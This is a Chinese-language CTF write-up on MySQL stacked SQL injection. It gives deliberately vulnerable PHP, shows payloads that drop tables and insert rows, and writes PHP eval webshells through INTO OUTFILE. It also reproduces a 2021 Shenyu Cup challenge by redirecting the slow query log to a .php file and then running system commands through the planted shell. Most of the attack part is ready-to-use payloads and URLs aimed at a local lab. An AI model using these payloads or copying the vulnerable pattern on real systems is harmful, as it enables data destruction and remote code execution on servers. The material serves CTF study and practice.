建立题目环境
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$conn = mysqli_connect("127.0.0.1:3306","root","root","ctf");
$id = $_GET['id'];
if (!$conn)
{
die("连接错误: " . mysqli_connect_error());
}
$sql = "select * from admin where id = '$id'";
if (mysqli_multi_query($conn,$sql)){
do {
echo "<font size=\"5\" color=\"#000000\">";
if ($rs = mysqli_store_result($conn)){
while($row = mysqli_fetch_row($rs)){
foreach ($row as $key => $value){
echo $value;
echo " ";
}
}
}
if (mysqli_next_result($conn)){
echo "</br>-------------------------------------------</br>";
}
}while(mysqli_more_results($conn));
}else{
die("by");
}
mysqli_close($conn);
堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection
(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products
服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。在php mysqli_multi_query
中可实现多条语句的实现 ,而mysqli_query
则无法实现多条语句的实现
堆叠注入实现增删改查,写入文件操作__windwos环境下 __linux同理
(1)增
select *from admin where id ='1';create table if not exists test like admin;--+
(2)删
select * from admin where id ='1';drop table test1;show tables;
(3)改
select * from admin where id='1';insert into admin(id,username,password) values ('2','test','test');select * from admin;
(4)查
这里不演示了参照以上方法
(5)写入文件
select * from admin where id ='1'; select "<?php eval($_POST['shell']);?>" into outfile "E://Study_App//phpstudy_pro//WWW//wjlin0//2021-11-20//shell.php";
(6) 2021深育杯CTF复现(由于无法靶场关闭,模拟靶场复现 过滤名单无)
访问robots.txt,可得三个文件index.php、config.php、helpyou2findflag.php。
fuzz黑名单,可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。
经测试可得到闭合方式为括号,且白名单为数据库记录行数,使用1);{sqlinject}-- +
可以闭合查询语句并进行堆叠注入。
show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
set global slow_query_log=1; # 开启慢查询日志
set global slow_query_log_file='E://Study_App//phpstudy_pro//WWW//wjlin0//2021-11-20//shell2.php'; # 设置慢查询日志位置
E:\Study_App\phpstudy_pro\Extensions\MySQL5.7.26\data\TZ-slow.log //系统慢日志位置_复现完成后后还原
http://localhost/wjlin0/2021-11-20/index.php?id=1';show variables like '%slow_query_log%';set global slow_query_log=1;set global slow_query_log_file='E://Study_App//phpstudy_pro//WWW//wjlin0//2021-11-20//shell2.php';show variables like '%slow_query_log%';--+
2.设置慢日志记录查询时间
sleep函数在黑名单中因此不能直接使用,这里有一个考点:慢查询日志只会记录超过long_query_time时间的查询语句,因此要在写入webshell的sql语句中超过执行耗时命令,由于union和sleep都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改long_query_time的值。
1';setglobal long_query_time=0.000001;--+
1';show variables like 'long_query_time';--+
http://localhost/wjlin0/2021-11-20/index.php?id=1';set global long_query_time=0.000001;show variables like 'long_query_time';--+
3.执行 查询操作
http://localhost/wjlin0/2021-11-20/index.php?id=1';select "<?php $_REQUEST['a']($_REQUEST['b'])?>";--+
4.访问 shell2.php
?a=systgem&b=ls;
)
5.重写写个一句话
http://localhost/wjlin0/2021-11-20/shell2.php?a=system&b=echo "<?php eval($_POST[%27cmd%27])?>//" > shell3.php
6.成功执行
)
总结
合理运用mysql语句将shell拿到手,这次做题由于没有能够验证进行堆叠注入 反而采用bool注入浪费大量时间而且还导致题目没有做出来下次在遇到可以尝试进行堆叠注入 看是否 set show into outfile 等关键词有无屏蔽可采用堆叠注入的方式进行做题,
这次尝试还原靶场,由于是在windows下进行 很多地方与linux操作无法相适应导致浪费大量时间
Q.E.D.